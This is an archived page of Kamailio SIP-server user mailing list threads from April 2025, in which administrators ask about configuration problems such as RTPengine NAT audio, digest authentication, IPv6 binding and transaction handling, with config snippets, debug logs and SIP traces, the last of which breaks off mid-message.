Hi List I hope it is OK to post a slightly off topic question. I have not found any similar reports via google. During testing of our development platform, I found two independent clients whose resolver process crashes randomly, when performing NAPTR lookups. Mitel/Aastra 68XXi Phones with Firmware >= 6.4 up to most recent. Inalp/Patton SNXX (Trinity OS) SIP Gateway with Firmware >= 3.14.X up to most recent. Both vendors reply they have no prior reports of this issue. The hostname used as registrar / proxy points to a NAPTR entry, which in turn points to 3 SRV entries für SIP+D2T, SIP+D2U, SIPS+D2T Each SRV entry then points to 4 IP Addresses (2x ipv4 and 2x ipv6) So quite a complex lookup and quite large replies. Anyone else observed this issue? When using a hostname that merely points to the A and AAAA records, no crashes. Mit freundlichen Grüssen -Benoît Panizzon- -- I m p r o W a r e A G - Leiter Commerce Kunden ______________________________________________________ Zurlindenstrasse 29 Tel +41 61 826 93 00 CH-4133 Pratteln Fax +41 61 826 93 01 Schweiz Web http://www.imp.ch ______________________________________________________

2 1

Kamailio Redis integration
by Timothy Delin 28 Apr '25

28 Apr '25

Hey team, I am facing an issue where my Kamailio and Redis are not integrated. I am using a VM with RHEL 9 OS, Kamailio in 5.4.7 version, and Redis DB in 7.2.7 version. Both my Kamailio and Redia are using Docker. We have installed the libhiredis and the ndb_redis in Kamailio When we tried to do a simple print "Hello World" from the Redis in Kamailio, we are receiving this error "ERROR: could not open module, missing loadmodule" even though we have confirmed in kamcmd Best regards, Timothy

3 2

Authentication qop auth-int
by 13715209697＠139.com 28 Apr '25

28 Apr '25

Hello! Kamailio 5.7.6 Debian 10.12 Here is my authentication route: ``` route[AUTH] { if (is_method("REGISTER") || from_uri==myself) { if (!auth_check("$fd", "subscriber", "0")) { auth_challenge("$fd", "2"); # flag not 0 exit; } # user authenticated - remove auth header if(!is_method("REGISTER|PUBLISH")) consume_credentials(); } ... } ``` start eyebeam Version 1.5.14.4 ``` eyebeam --->REGISTER ----> kamailio <--401 (WWW-Authenticate: Digest realm="192.168.3.10", nonce=..., qop="auth-int") --->REGISTER (Authorization: Digest username="08001",realm="192.168.3.10",nonce=...,uri=...,response=...,cnonce=...,nc=00000001,qop=auth-int,algorithm=MD5) <--401 (auth_challenge() return -2 ) ``` OpenSIPS 3.4.12 register to kamailio, got the same result as eyebeam Any suggestions? Thanks!

4 8

Kamailio v6.0.1 and SUBSCRIBE processing
by Blair, Steve 26 Apr '25

26 Apr '25

I’m coming back to Kamailio after about a 10 year absence. I have v6.0.1 running handling registrations (unique devices) and inbound/outbound PSTN calling correctly. What I need is to process subscribe requests. I’m looking for direction on the correct configuration to 1. Authenticate subscribe messages. This appears to be working with following snippet. #eDevice: Need to authenticate subscribes before proceeding xlog("L_INFO", "eDevice: Start initial SUBSCRibe check. \n"); if (is_method("SUBSCRIBE")) { record_route(); if (!auth_check("$fd", "subscriber", "1")) { auth_challenge("$fd", "0"); } # eDevice SUB Change consume_credentials(); route(PRESENCE); } 1. After authenticating forward any subscribe to an external presence server 2. Relay any response from external presence server to client device. Only the above authentication is working so direction on proper processing of subscribes when Kamailio is not the presence server will be appreciated. Thanks

1 0

Re: RTPengine media starts for intiating caller only
by airsay＠duck.com 23 Apr '25

23 Apr '25

Again, not super skilled yet with Kamailio/RTPEngine, but my first instinct is: "why you are advertising myproxyname.domain.net which is possibly a public IP". Your entire setup is in your LAN so you don't need to advertise any public IP. Look forward to others contributing and clarifying that Sent from my iPhone > On 23 Apr 2025, at 20:42, smh2017--- via sr-users <sr-users_at_lists.kamailio.org_airsay(a)duck.com> wrote: > > Hello, > > I have a problem with my basic Kamailio setup using RTPengine. I'm testing initially with two client UAs in the same LAN as the SIP server behind the firewall. The initiating UA starts the media proxy as soon as the receiving UA accepts the call, indicated by the call timer starting. But after accepting the call the receiving UA's timer doesn't start and after 10-15 secs hangs up with a NO ACK error message. > > I am using the kamailio default config file that comes with the Debian package and have made minimal changes recommended by various How-Tos for using Kamailio behind a firewall. Because the clients can successfully register over TLS, I'm assuming the problem is in the rtpengine configuration. The two rtp listen parameters I've tried are: > > interface = internal/192.168.1.100;external/192.168.1.100!myproxyname.domain.net > --or-- > interface = internal/192.168.1.100;external/myproxyname.domain.net > listen-ng = localhost:2223 > > I'm not sure why some example rtpengine configs list both the private and public addresses as external. > > Any suggestions where to start troubleshooting? > > Thanks, > > Steve > __________________________________________________________ > Kamailio - Users Mailing List - Non Commercial Discussions -- sr-users(a)lists.kamailio.org > To unsubscribe send an email to sr-users-leave(a)lists.kamailio.org > Important: keep the mailing list in the recipients, do not reply only to the sender!

2 1

RTPengine media starts for intiating caller only
by smh2017＠zoho.com 23 Apr '25

23 Apr '25

Hello, I have a problem with my basic Kamailio setup using RTPengine. I'm testing initially with two client UAs in the same LAN as the SIP server behind the firewall. The initiating UA starts the media proxy as soon as the receiving UA accepts the call, indicated by the call timer starting. But after accepting the call the receiving UA's timer doesn't start and after 10-15 secs hangs up with a NO ACK error message. I am using the kamailio default config file that comes with the Debian package and have made minimal changes recommended by various How-Tos for using Kamailio behind a firewall. Because the clients can successfully register over TLS, I'm assuming the problem is in the rtpengine configuration. The two rtp listen parameters I've tried are: interface = internal/192.168.1.100;external/192.168.1.100!myproxyname.domain.net --or-- interface = internal/192.168.1.100;external/myproxyname.domain.net listen-ng = localhost:2223 I'm not sure why some example rtpengine configs list both the private and public addresses as external. Any suggestions where to start troubleshooting? Thanks, Steve

1 0

404 sent from Kamailio NOT from the script
by Richard Robson 23 Apr '25

23 Apr '25

I have a problem where a call comes in and causing a 404 Not Found to be replied. the script does not have a 404 reply set in it anywhere unfortunately I cannot get the script to produce logs, hence my other post. But its making it tricky to find the source of the 404. following the script it should not be producing a 404, but doing a relay. I suspect there is something wrong with the tm or its not getting a result it needs. It looks like the transaction module is triggering thge 404 somehow and Its showing up in debug below. Does anyone have any ideas why i'm getting a 404? version 5.6.6 Regards, Richard Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:1100]: t_check_msg(): msg (0x7faf977b64b0) id=4/28700 global id=3/28700 T start=0xffffffffffffffff Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:503]: t_lookup_request(): start searching: hash=60776, isACK=0 Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:463]: matching_3261(): RFC3261 transaction matching failed - via branch [z9hG4bK-2e6a90ab-1bfb9be-d4ed8e5d-7f0300025430] Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:703]: t_lookup_request(): no transaction found Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:1172]: t_check_msg(): msg (0x7faf977b64b0) id=4/28700 global id=4/28700 T end=(nil) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:1394]: t_newtran(): msg (0x7faf977b64b0) id=4/28700 global id=4/28700 T start=(nil) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:503]: t_lookup_request(): start searching: hash=60776, isACK=0 Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:463]: matching_3261(): RFC3261 transaction matching failed - via branch [z9hG4bK-2e6a90ab-1bfb9be-d4ed8e5d-7f0300025430] Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:703]: t_lookup_request(): no transaction found Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} <core> [core/mem/q_malloc.c:385]: qm_malloc(): qm_malloc(0x7faf9301f000, 8336) called from tm: h_table.c: build_cell(336) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_hooks.c:342]: run_reqin_callbacks_internal(): trans=0x7faf932f42c0, callback type 1, id 0 entered Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} <core> [core/mem/q_malloc.c:385]: qm_malloc(): qm_malloc(0x7faf9301f000, 40) called from tm: t_hooks.c: insert_tmcb(134) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:1100]: t_check_msg(): msg (0x7faf977b64b0) id=4/28700 global id=4/28700 T start=0x7faf932f42c0 Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_lookup.c:1176]: t_check_msg(): T (0x7faf932f42c0) already found for msg (0x7faf977b64b0)! Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} <core> [core/mem/q_malloc.c:385]: qm_malloc(): qm_malloc(0x7faf9301f000, 626) called from tm: t_reply.c: _reply_light(488) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_reply.c:1768]: cleanup_uac_timers(): RETR/FR timers reset Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_hooks.c:252]: run_trans_callbacks_internal(): DBG: trans=0x7faf932f42c0, callback type 512, id 0 entered Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} acc [acc_logic.c:721]: tmcb_func(): acc callback called for t(0x7faf932f42c0) event type 512, reply code 404 Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_reply.c:625]: _reply_light(): reply sent out - buf=0x7faf977bf7f8: SIP/2.0 404 Not Foun... shmem=0x7faf932f0468: SIP/2.0 404 Not Foun Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_funcs.c:122]: put_on_wait(): put T [0x7faf932f42c0] on wait Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} <core> [core/mem/q_malloc.c:495]: qm_free(): qm_free(0x7faf976b5010, 0x7faf977bf7f8), called from tm: t_reply.c: _reply_light(635) Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} tm [t_reply.c:636]: _reply_light(): finished Apr 22 14:50:51 kamai01 kamailio[28700]: DEBUG: {1 1 INVITE afc0c04-9d8bc3d-1bfb9be-7f02f033b5f0-2406050a-13d8-7225} sl [sl.c:288]: send_reply(): reply in stateful mode (tm)

4 7

Kamailio docker with missing modules
by Martin Nyström 23 Apr '25

23 Apr '25

Hi, I’m using the docker ghcr.io/kamailio/kamailio:5.8.6-xenial but it appears to be missing the app_python modules. How can I add it, together with other missing modules? /M

1 2

Behaviour of suspended transactions
by Alex Balashov 18 Apr '25

18 Apr '25

Hello! Two questions about suspended transactions: 1) What is the lifetime of a suspended INVITE transaction? Can I change it? 2) While a transaction is suspended, its event hooks (e.g. onreply_route, failure_route) do not run, of course, even if replies that match the transaction are received. Is there a way to intercept these replies externally and resume the transaction upon the receipt of the reply, and prior to the processing of the reply? For example, can the replies be captured in a stateless route, and mapped Call-ID => index/label to t_continue() the transaction, then have the transaction state machine process that very same reply too? t_is_retr_async_reply() seems to hint at this intention, but its scope is more narrow, if I understood the documentation correctly: it seems to deal with retransmissions only. The code path I'm interested in is more akin to a t_is_reply_to_async() function. As you might guess, the driver for this inquiry is a mobile workflow where, in the vast majority of cases, one is contacting a stale registration and should just suspend the transaction, but where occasionally, in a small minority of cases, the endpoint does respond on the existing contact. The standard tsilo workflow of trickling parallel branches into a pending transaction doesn't work here because of the behaviour of Apple's CallKit; we have to try the existing contact _before_ we send a push notification. -- Alex -- Alex Balashov Principal Consultant Evariste Systems LLC Web: https://evaristesys.com Tel: +1-706-510-6800

3 2

XLOG not writing to local0
by Richard Robson 17 Apr '25

17 Apr '25

I have setup the kamailio.log file to receive the logs from kamailio and I am receiving some, but I do mot see any logs from xlog commands in the script. I see logs like this on startup and various others, but none from xlog no matter how I format them. can anyone advise where I may be going wrong? current logs: Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 212992 for fd 12 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 425984 on fd 12 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 212992 for fd 13 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 425984 on fd 13 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 212992 for fd 14 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9073]: INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 425984 on fd 14 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9118]: INFO: jsonrpcs [jsonrpcs_sock.c:453]: jsonrpc_dgram_process(): a new child 0/9118 Apr 17 12:28:49 server01 /usr/local/sbin/kamailio[9120]: INFO: ctl [io_listener.c:217]: io_listen_loop(): io_listen_loop: using epoll_lt io watch method (config) config: debug=4 log_stderror=no log_facility=LOG_LOCAL0 log_prefix="[$mt $hdr(CSeq) $ci] " example xlogs that do not print (they are the start of request route): xlog("LOG_LOCAL0","L_ERR","RIK: Start route\n"); xlog("TRACE: Start Route [Main] for [Call-ID: $ci]\n");

2 2

IPv6 bind wrong IP. #4199
by Vu Nguyen 17 Apr '25

17 Apr '25

*Dear Sir,* I have opened an issue on GitHub: *"IPv6 bind wrong IP. #4199 <https://github.com/kamailio/kamailio/issues/4199>"*. *System Details:* - *Kamailio (5.8.x)* – SIP Proxy - *FreeSWITCH* – Media Server - *OS* – Debian 12 - *Gateway* – aaaa:bbb:cccc:20::1 - *IPv6 Address* – aaaa:bbb:cccc:20::41e ------------------------------ *kamailio.cfg:* #!define ADDR_IPV4 xxx.xxx.xxx.xxx #!define ADDR_IPV6 [aaaa:bbb:cccc:20::41e] listen=ADDR_IPV4 listen=ADDR_IPV6 ------------------------------ *netstat Output:* tcp6 0 0 aaaa:bbb:cccc:20:::5060 :::* LISTEN 1691274/kamailio tcp6 0 0 aaaa:bbb:cccc:20:::5061 :::* LISTEN 1691274/kamailio udp6 0 0 aaaa:bbb:cccc:20:::5060 :::* 1691222/kamailio As shown, although I explicitly set the listen IP to aaaa:bbb:cccc:20::41e, Kamailio strips the last part of the address and binds to aaaa:bbb:cccc:20:: I also upgraded to *version 6.0* with default cfg and set auto_bind_ipv6=1 or changed ipv6 address, but the issue still persists. ------------------------------ *IPv6 Interface Configuration:* auto eth1 iface eth1 inet6 static address aaaa:bbb:cccc:20::41e netmask 64 gateway aaaa:bbb:cccc:20::1 I can successfully ping in and out using this IPv6 address. ------------------------------ Do I need to configure anything else in Kamailio or the system to ensure it binds to the full IPv6 address aaaa:bbb:cccc:20::41e as expected? Currently I can register with ipv4, but ipv6 does not. Thank you for your assistance.

3 2

Handling NAT Keepalive in IMS PCSCF Configuration: Bypassing NATHelper Module
by f.soltanzade72＠gmail.com 16 Apr '25

16 Apr '25

Hi All, In the default Kamailio configuration, keepalive handling for NAT is typically managed through the NATHelper module. However, in the IMS PCSCF configuration, the NATPING route is used to send SIP OPTIONS messages for keepalive, which bypasses the NATHelper module. This approach makes it impossible to send raw UDP packets for keepalive handling. Can any one help me configuring that? Thank you.

1 0

How to place a delay between cancelling branch and retrying next one on timer expiry?
by Alex A 15 Apr '25

15 Apr '25

Hi All, I have an interesting use-case where I need to place a delay between cancelling branch and retrying next one. *Background: * Running Kamailio 5.6.x Kamailio routes requests via a freeswitch B2BUA server on select call flows (where B2BUA functionality is required). Call flow examples: PSTN --> Kamailio --> Freeswitch --> appserver1 PSTN --> Kamailio --> Freeswitch --> appserver2 On attempt failures, a branch retry is required from appserver1 to appserver2; however freeswitch B2BUA remains the same Since Freeswitch does not quite follow the RFC 3261 timer K specifications (should be 0 seconds for reliable transports, but FS keeps transactions for T4 (set to 2 seconds)); I have implemented an artificial delay in failure route before retrying (as per recommendation described here: https://freeswitch-users.freeswitch.narkive.com/TsSye66D/482-request-merged… ) *Script config: * onreply_route[MANAGE_REPLY] { xlog("L_INFO", "reply $T_reply_code received"); if (t_check_status( "1[1-9][0-9]")) { t_reset_fr(); } else { t_set_fr(120000); } } route(NATDETECT); #!ifdef WITH_RTPENGINE route(RTPMANAGE); #!endif } route[RELAY] { if (is_method("INVITE|BYE|SUBSCRIBE|UPDATE")) { if(!t_is_set("branch_route")) t_on_branch("MANAGE_BRANCH"); } if (is_method("INVITE|SUBSCRIBE|UPDATE")) { if(!t_is_set("onreply_route")) t_on_reply("MANAGE_REPLY"); } if(is_method("INVITE|BYE|UPDATE|CANCEL|ACK")) { setflag(FLT_DLGINFO); } if (!t_relay()) { sl_reply_error(); } exit; } route[TOCARRIER] { process bunch of things, attach custom headers, generate request URI t_on_failure("MANAGE_FAILURE_CARRIER"); route(RELAY); } failure_route[MANAGE_FAILURE_CARRIER] { xlog("L_INFO", "reply $T_reply_code received"); if ($avp(inbound_attempt)<=1){ if ($dlg_var(b2bua)=="true"){ usleep(1900000); } route("TOCARRIER"); } *Call Flows: * The above fix works well when an explicit error reply is received back. *error reply SIP exchange: * SBC --> INVITE(branch0) ---> Freeswitch SBC <-- 503 <-- Freeswitch failure_route executed (sleep runs here) SBC --> INVITE(branch1) ---> Freeswitch call continues as expected. however does not work when NO reply is received at all and the timer expires. *Current timer expiry SIP exchange: * SBC --> INVITE(branch0) ---> Freeswitch SBC <-- 100/180 <-- Freeswitch SBC (timer expires) failure_route executed (sleep runs here) SBC --> INVITE(branch1) ---> Freeswitch SBC <-- 482 Merged <-- Freeswitch SBC --> CANCEL(branch0) ---> Freeswitch I am looking to CANCEL branch0 before the sleep delay runs Based on source code, t_cancel_branches("this") can only be executed in reply_route; however the chellenge is that reply_route never sees the "faked 408" on timer expiry(although the failure route does see $T_reply_code 408). Any suggestions on how to handle this would be greatly appreciated. TIA

6 11

RTPEngine pool selection for in-dialog requests
by Ben Kaufman 15 Apr '25

15 Apr '25

I'm looking for information on the correct way to handle calls to RTPEngine when processing in-dialog requests. I currently have several setid's configured for varying usages. During processing of an initial INVITE, a determination is made as to if the call will require the use of RTPEngine, and if so, which of the sets should be used. The following is done in code: * setid is assigned to AVP $avp(rtpengine_pool_num) * set_rtpengine_set("$avp(rtpengine_pool_num)") is called, * rtpengine_offer is then called. * Additionally, a record-route parameter of proxy_media=yes is added. * The flag PROXY_MEDIA is set In the reply route, the PROXY_MEDIA flag is checked, and if set, set_rtpengine_set("$avp(rtpengine_pool_num)") is called, followed by rtpengine_answer. When handling an in-dialog message my code didn't have anything to evaluate for the setid. rtpengine_offer was just called. Looking at the debug from the rtpengine module, I can see that the record is found in the hashtable, however the node indicated in that result is not necessarily used - rtpengine will select an entry from the default setid instead. From the rtpengine module logs, IP addresses redacted: 2(9) DEBUG: {time=1744651756.968228} rtpengine [rtpengine_funcs.c:139]: check_content_type(): type <application/sdp> found valid 2(9) DEBUG: {time=1744651756.968228} rtpengine [rtpengine.c:2249]: build_rtpp_socks(): same rtpengines list version: 1 (1744651613) 2(9) DEBUG: {time=1744651756.968228} rtpengine [rtpengine.c:3818]: select_rtpp_node_old(): rtpengine hash table lookup find node=udp:A.B.C.D:1234 for calllen=36 callid=ac66f56b-93f8-123e-1b99-0242ac120002 viabranch= 2(9) DEBUG: {time=1744651756.968228} rtpengine [rtpengine.c:3702]: select_rtpp_node_new(): sum is = 210 2(9) DEBUG: {time=1744651756.968228} rtpengine [rtpengine.c:3198]: rtpp_function_call(): proxy reply: d3:sdp288:v=0 o=FreeSWITCH 1744611570 1744611571 IN IP4 W.X.Y.Z s=FreeSWITCH c=IN IP4 W.X.Y.Z My question is really: **SHOULD** rtpengine_offer (and rtpengine_manage, etc) use the node that it finds in the hash table lookup automatically, or should I have to explicitly set the setid? For now I've solved the problem by adding the setid to the record-route headers so I can easily retrieve it in dialog, but it seems that if the module finds a record for a node that there should be some way to rely on that explicitly. Kaufman Senior Voice Engineer E: bkaufman(a)bcmone.com SIP.US Client Support: 800.566.9810 | SIPTRUNK Client Support: 800.250.6510 | Flowroute Client Support: 855.356.9768 [img]<https://www.sip.us> [img]<https://www.siptrunk.com> [img]<https://www.flowroute.com> NOTE: This e-mail and any attachments are from BCM One, Inc. and are intended solely for the use and review of the individual(s) to whom it is addressed. If you believe you received this e-mail in error, please notify the sender immediately, delete the e-mail (and any attachments) from your computer and do not copy or disclose it to anyone else.

2 2

Thank you Guys
by Fernando Lopes 15 Apr '25

15 Apr '25

Just want to say thank you for the support. I spent two weeks working on a config, and even though it didn’t work out, I really appreciate the learning process. Today, I found a config that worked here: 🔗 https://github.com/altanai/kamailioexamples/tree/master/RTPEngine_media_pro…

1 0

Nat Problems Kamailio
by Fernando Lopes 14 Apr '25

14 Apr '25

Hello Everyone, I'm having some trouble getting my SIP setup to work properly. 📞 My Call Flow: SIP Client initiates a call The call reaches my router, which forwards it to Kamailio + RTPengine running on 192.168.1.75:5060, which then forwards it to A Kubernetes machine at 192.168.1.190:32210, where Asterisk is running 🔧 Network Setup: Router has the following ports forwarded: UDP 5060 UDP 10000–20000 (for RTP) STUN is enabled on the SIP client ✅ What Works: When I’m connected through a VPN (i.e., inside the local network), everything works fine — both incoming and outgoing audio. ❌ The Problem: When calling from outside the network, signaling works and the call connects, but I can’t receive or send any audio. Here is a little of my config of kamailio modparam("rtpengine", "rtpengine_sock", "udp:127.0.0.1:2223") modparam("rtpengine", "setid_avp", "$avp(setid)") listen=udp:192.168.1.75:5060 advertise 62.2x.xxx.xxx:5060 listen=tcp:192.168.1.75:5060 advertise 62.2x.xxx.xxx:5060 listen=udp:127.0.0.1:5060 #Nat Helper modparam("nathelper", "force_socket", "192.168.1.75:5060") modparam("nathelper", "natping_interval", 10) modparam("nathelper", "ping_nated_only", 0) modparam("nathelper", "nat_addr_mode", 1) request_route{ ... route(init); ... if(is_method("INVITE|ACK|BYE|CANCEL|OPTIONS|INFO|UPDATE|PRACK"))\{ route(handle_sip); exit; } } route[init]{ ... if (nat_uac_test("19")){ setflag(FLT_NAT); fix_nated_contact(); force_rport(); } } route[handle_sip]{ if ($rm == "INVITE"){ if (isflagset(FLT_NAT)){ route(natmanage); } if (!ds_select_dst("1", "4")){ sl_send_reply("500", "No destination"); exit; } $ru = "sip:" + $rU + "@" + $rd; # Keeps sip:100@domain $du = "sip:192.168.1.190:32210"; # Matches your dispatcher list route(relay); } if ($rm == "BYE" || $rm == "CANCEL"){ if (isflagset(FLT_NAT)){ rtpengine_delete(); } route(relay); } if ($rm == "ACK"){ if (isflagset(FLT_NAT)){ route(natmanage); } route(relay); } route(relay); } route[natmanage]{ if (is_request()){ if (has_body("application/sdp")){ rtpengine_offer("replace-origin replace-session-connection ICE=remove"); } force_rport(); fix_nated_contact(); }else{ rtpengine_answer("replace-origin replace-session-connection ICE=remove"); } } rtpengine.conf [rtpengine] table = 0 interface = internal/192.168.1.75 listen-ng = 127.0.0.1:2223 log-level = 7 timeout = 60 silent-timeout = 3600 tos = 184 port-min = 10000 port-max = 40000 And here are some logs when I call from outside 2025/04/13 15:58:33.407265 2.8x.xx.xxx:59396 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.116:59396;rport;branch=z9hG4bKPj92490d6b6d0c4cd88dac9f0043b1642e Max-Forwards: 70 From: "6001" <sip:6005@192.168.1.75:5060>;tag=0397d2bdc3ef47f5b6e498126a360b0f To: <sip:100@192.168.1.75:5060> Contact: "6001" <sip:6005@192.168.1.116:59396;ob>;+sip.ice Call-ID: 83a804569c3f489088607c729485cdbd CSeq: 8963 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 537 v=0 o=- 3953552313 3953552313 IN IP4 192.168.1.116 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 4032 RTP/AVP 8 0 101 c=IN IP4 192.168.1.116 b=TIAS:64000 a=rtcp:4017 IN IP4 192.168.1.116 a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ssrc:1567952351 cname:73284f1717045a81 a=ice-ufrag:37e51dc0 a=ice-pwd:49f7442b5078148140877b44 a=candidate:Hc0a80174 1 UDP 2130706431 192.168.1.116 4032 typ host a=candidate:Hc0a80174 2 UDP 2130706430 192.168.1.116 4017 typ host 2025/04/13 15:58:33.412683 192.168.1.75:5060 -> 192.168.1.190:32210 INVITE sip:100@192.168.1.75 SIP/2.0 Via: SIP/2.0/UDP 62.2x.2xx.xxx:5060;branch=z9hG4bK6362.26a75297a4ccf4984dd1f68644c2148f.0 Via: SIP/2.0/UDP 192.168.1.116:59396;received=2.8x.xx.xxx;rport=59396;branch=z9hG4bKPj92490d6b6d0c4cd88dac9f0043b1642e Max-Forwards: 69 From: "6001" <sip:6005@192.168.1.75:5060>;tag=0397d2bdc3ef47f5b6e498126a360b0f To: <sip:100@192.168.1.75:5060> Contact: "6001" <sip:6005@2.8x.xx.xxx:59396;ob>;+sip.ice Call-ID: 83a804569c3f489088607c729485cdbd CSeq: 8963 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 322 v=0 o=- 3953552313 3953552313 IN IP4 192.168.1.75 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 12156 RTP/AVP 8 0 101 c=IN IP4 192.168.1.75 b=TIAS:64000 a=ssrc:1567952351 cname:73284f1717045a81 a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=sendrecv a=rtcp:12157 2025/04/13 15:58:33.428169 2.8x.xx.xxx:59396 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.116:59396;rport;branch=z9hG4bKPj14c6f24b814e4d158014cc80b1fa5f8f Max-Forwards: 70 From: "6001" <sip:6005@192.168.1.75:5060>;tag=0397d2bdc3ef47f5b6e498126a360b0f To: <sip:100@192.168.1.75:5060> Contact: "6001" <sip:6005@192.168.1.116:59396;ob>;+sip.ice Call-ID: 83a804569c3f489088607c729485cdbd CSeq: 8964 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Authorization: Digest username="6005", realm="asterisk", nonce="1744559913/dab8894e3f31e038d7a969a6349a11c2", uri="sip:100@62.2x.2xx.xxx", response="2ce500d6a1583f05f6344bdf1f712fc7", algorithm=MD5, cnonce="808fc766135d40589dd68032bcaab5c6", opaque="2232aa9c42080f12", qop=auth, nc=00000001 Content-Type: application/sdp Content-Length: 537 v=0 o=- 3953552313 3953552313 IN IP4 192.168.1.116 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 4032 RTP/AVP 8 0 101 c=IN IP4 192.168.1.116 b=TIAS:64000 a=rtcp:4017 IN IP4 192.168.1.116 a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 